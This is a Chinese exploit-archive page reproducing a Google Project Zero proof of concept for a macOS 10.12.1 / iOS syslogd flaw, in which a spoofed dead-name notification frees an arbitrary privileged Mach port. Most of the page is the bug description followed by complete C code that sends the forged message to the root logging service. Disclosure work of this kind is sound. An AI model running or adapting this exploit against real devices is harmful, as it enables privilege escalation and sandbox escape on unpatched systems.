首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
macOS 10.12.1 / iOS < 10.2 - syslogd Arbitrary Port Replacement
来源:Google Security Research 作者:Google 发布时间:2016-12-23  
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=977
 
syslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb
sandbox profile and so reachable from a lot of sandboxed contexts.
 
Here's a snippet from its mach message handling loop listening on the service port:
 
    ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL);
  ...
    if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME)
    {
      deadname = (mach_dead_name_notification_t *)request;
      dispatch_async(asl_server_queue, ^{
        cancel_session(deadname->not_port);
        /* dead name notification includes a dead name right */
        mach_port_deallocate(mach_task_self(), deadname->not_port);
        free(request);
      });
 
An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an
arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right
but is a mach_port_name_t which is just a controlled integer.
 
An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which
the attacker holds a receive right.
 
Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
*/
 
// ianbeer
 
#if 0
MacOS/iOS arbitrary port replacement in syslogd
 
syslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb
sandbox profile and so reachable from a lot of sandboxed contexts.
 
Here's a snippet from its mach message handling loop listening on the service port:
 
        ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL);
    ...
        if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME)
        {
            deadname = (mach_dead_name_notification_t *)request;
            dispatch_async(asl_server_queue, ^{
                cancel_session(deadname->not_port);
                /* dead name notification includes a dead name right */
                mach_port_deallocate(mach_task_self(), deadname->not_port);
                free(request);
            });
 
An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an
arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right
but is a mach_port_name_t which is just a controlled integer.
 
An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which
the attacker holds a receive right.
 
Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
#endif
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/ndr.h>
 
char* service_name = "com.apple.system.logger";
 
struct notification_msg {
    mach_msg_header_t   not_header;
    NDR_record_t        NDR;
    mach_port_name_t not_port;
};
 
mach_port_t lookup(char* name) {
  mach_port_t service_port = MACH_PORT_NULL;
  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", name);
    return MACH_PORT_NULL;
  }
  
  return service_port;
}
 
int main() {
  kern_return_t err;
 
  mach_port_t service_port = lookup(service_name);
 
  mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy
 
  printf("%d\n", getpid());
  printf("service port: %x\n", service_port);
 
    struct notification_msg not = {0};
 
  not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  not.not_header.msgh_size = sizeof(struct notification_msg);
  not.not_header.msgh_remote_port = service_port;
  not.not_header.msgh_local_port = MACH_PORT_NULL;
  not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME
 
    not.NDR = NDR_record;
 
    not.not_port = target_port;
 
  // send the fake notification message
  err = mach_msg(&not.not_header,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct notification_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);
  printf("fake notification message: %s\n", mach_error_string(err));
  
  return 0;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·macOS 10.12.1 / iOS < 10.2 - p
·Apache mod_session_crypto - Pa
·macOS < 10.12.2 / iOS < 10.2 -
·XAMPP Control Panel - Denial O
·macOS < 10.12.2 / iOS < 10.2 K
·FTPShell Server 6.36 - '.csv'
·macOS 10.12 - Double vm_deallo
·PHPMailer 5.2.17 - Remote Code
·Vesta Control Panel 0.9.8-16 -
·Android get_user/put_user Expl
·macOS 10.12.1 Kernel - Writabl
·PHPMailer < 5.2.20 - Remote Co
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved